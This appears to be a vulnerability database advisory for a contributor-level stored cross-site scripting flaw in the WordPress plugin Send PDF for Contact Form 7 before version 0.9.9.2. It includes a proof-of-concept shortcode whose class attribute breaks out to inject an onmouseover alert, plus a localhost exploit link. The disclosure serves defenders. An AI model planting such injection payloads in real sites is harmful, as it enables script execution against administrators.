Send PDF for Contact Form 7 < 0.9.9.2 - Contributor+ Stored XSS via Shortcode

2023-01-1100:00:00

Lana Codes

pdf exploit

contact form 7

stored xss

EPSS

0.001

Percentile

25.5%

JSON

The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.

Exploit shortcode:

[wpcf7pdf_download type='text' class='" onmouseover="alert(1)"']

Exploit link:

http://localhost/exploit-page/?pdf-reference=63a3ddc576a74

Note: 

1. The pdf reference value must be specified, which can be found in the Contact > Create PDF page - Last records section.

2. Contact Form 7 plugin is required.

EPSS

0.001

Percentile

25.5%

JSON

Related for WPEX-ID:C4CD3D98-9678-49CB-9D1A-551EF8A810B9